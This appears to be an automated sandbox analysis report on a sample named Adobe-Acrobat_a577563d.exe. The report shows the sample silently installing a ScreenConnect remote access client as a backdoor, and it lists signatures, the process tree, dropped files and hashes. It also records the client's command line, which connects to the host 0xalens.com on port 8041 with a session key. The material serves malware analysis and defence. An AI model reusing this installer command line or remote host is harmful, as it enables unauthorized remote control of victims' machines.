Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 01:52

General

  • Target
    Adobe-Acrobat_a577563d.exe
  • Size 46.3MB
  • Sample260718-cam79acv5m
  • SHA256 dca783d6cfa58b9dc08f29ceb0cbaa1a7928fa1c2d89d2922e7c37a119f6b0f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Adobe-Acrobat_a577563d.exe
    "C:\Users\Admin\AppData\Local\Temp\Adobe-Acrobat_a577563d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\SYSTEM32\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_ebeaf139\sc.msi" /quiet /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2256
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E1DD5D5BD516608A01DB1CDDD2D0CF26
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI97E1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752875 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3588
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 36CF7A5B0ACD2D662220C786AAD1D35C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4252
  • C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=0xalens.com&p=8041&s=4fb9309b-dc06-4085-9b8d-f8b8c3a878cf&k=BgIAAACkAABSU0ExAAgAAAEAAQDp%2fk2OZDnQFTI4gmrOw%2bmWwqE25SEYpz8vkjnBe7mPfa6jLIVDzxLuRYdnjTG80dNELS00u%2fDqMl2YDdFbiMV0X29x4kKxe8GbEka4FZBi3aGj9RJdzv0aRIr3LMHt1sR%2fiobuU8wnVDg69du8Jzqaqu21QWnCRLPmlgNEtXZRvkNAgR8GHvPN5g2hxoeIYUDwR9xw34xV8oywcU4Nz2nvR04xB3W57niSevjltPTeBg9IVmHsXe0QOxaaYHiinPSYdH1zldYWwn1r87N69u47qabJ%2fhftEf1RX7YQxcnCQGoGwq%2bibWGp1UfeWCRTgYFRDC6I64O1Y4jYgkdBa8Dd"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe" "RunRole" "0d22eb96-e7ef-4347-8e32-32701152f443" "User"
      2⤵
      • Executes dropped EXE
      PID:3760
    • C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe" "RunRole" "c326321e-aedb-4483-a181-c6723786e127" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1980

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e599072.rbs

        • Path C:\Config.Msi\e599072.rbs
        • Size 214KB
        • SHA256 58e433e07d651619a0fb042671ec7430bf96936867108fea5f6ca16ad18a2dd4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\Client.Override.en-US.resources
        • Size 316B
        • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\Client.Override.resources
        • Size 465B
        • SHA256 32408185e248c9736a6e75ae1d3e4238d7198c9b0155dfe4ca1a42da99c65759
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\app.config
        • Size 966B
        • SHA256 8ef5245cb2f1d9965f6ed912c793b78e1dc673a5ac6e21eec617df6e2a14ce34
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d0ce67055d1c8604)\system.config
        • Size 929B
        • SHA256 84c9ffce52342270d0ecf3c731a259f4076b8ed217001e878965b22165795364
        • MD5 SHA1 SHA512 TLSH

        sc.msi

        • Path C:\Users\Admin\AppData\Local\Temp\Setup_ebeaf139\sc.msi
        • Size 12.8MB
        • SHA256 fdcda17b296e0eafe89e153a71ecbad495592db847fee8b72e15fb182bcd0e4e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI97E1.tmp

        • Path C:\Windows\Installer\MSI97E1.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI97E1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI97E1.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI97E1.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI97E1.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI9E4C.tmp

        • Path C:\Windows\Installer\MSI9E4C.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/856-24-0x00000236050C0000-0x0000023605170000-memory.dmp

        memory/856-16-0x0000023600500000-0x0000023600540000-memory.dmp

        memory/856-63-0x00000236056A0000-0x00000236056C0000-memory.dmp

        memory/856-29-0x0000023605170000-0x00000236051A0000-memory.dmp

        memory/856-8-0x0000023600400000-0x0000023600420000-memory.dmp

        memory/856-4-0x0000023600490000-0x00000236004E0000-memory.dmp

        memory/856-34-0x00000236051A0000-0x00000236051C0000-memory.dmp

        memory/856-0-0x0000023601200000-0x0000023601E90000-memory.dmp

        memory/856-33-0x0000023605450000-0x0000023605650000-memory.dmp

        memory/856-51-0x0000023605700000-0x0000023605740000-memory.dmp

        memory/856-59-0x0000023605C00000-0x0000023605C90000-memory.dmp

        memory/856-55-0x0000023605790000-0x00000236057E0000-memory.dmp

        memory/856-20-0x0000023602DB0000-0x0000023602E20000-memory.dmp

        memory/856-41-0x00000236051C0000-0x00000236051E0000-memory.dmp

        memory/856-46-0x0000023605200000-0x0000023605240000-memory.dmp

        memory/856-13-0x0000023602FF0000-0x00000236031A0000-memory.dmp

        memory/1980-187-0x0000000002B20000-0x0000000002B61000-memory.dmp

        memory/3236-138-0x00000000043A0000-0x00000000043B8000-memory.dmp

        memory/3236-163-0x0000000004640000-0x0000000004676000-memory.dmp

        memory/3236-167-0x0000000004680000-0x00000000046C1000-memory.dmp

        memory/3236-169-0x0000000004B30000-0x0000000004C05000-memory.dmp

        memory/3236-155-0x00000000045F0000-0x0000000004640000-memory.dmp

        memory/3236-165-0x0000000004940000-0x00000000049D2000-memory.dmp

        memory/3588-99-0x0000000006450000-0x0000000006A0A000-memory.dmp

        memory/3588-98-0x0000000005CE0000-0x0000000005E8C000-memory.dmp

        memory/3588-86-0x00000000039A0000-0x00000000039CE000-memory.dmp

        memory/3588-90-0x00000000039E0000-0x00000000039EA000-memory.dmp

        memory/3588-94-0x0000000005AA0000-0x0000000005B2E000-memory.dmp

        memory/3760-179-0x0000000000600000-0x0000000000698000-memory.dmp

        memory/3760-180-0x0000000001050000-0x0000000001086000-memory.dmp

        memory/3760-182-0x000000001B860000-0x000000001BA0C000-memory.dmp

        memory/3760-181-0x000000001B3F0000-0x000000001B47E000-memory.dmp

        memory/3760-183-0x000000001BBA0000-0x000000001BD28000-memory.dmp

        memory/3760-184-0x0000000001010000-0x0000000001028000-memory.dmp

        memory/3760-185-0x0000000002970000-0x0000000002988000-memory.dmp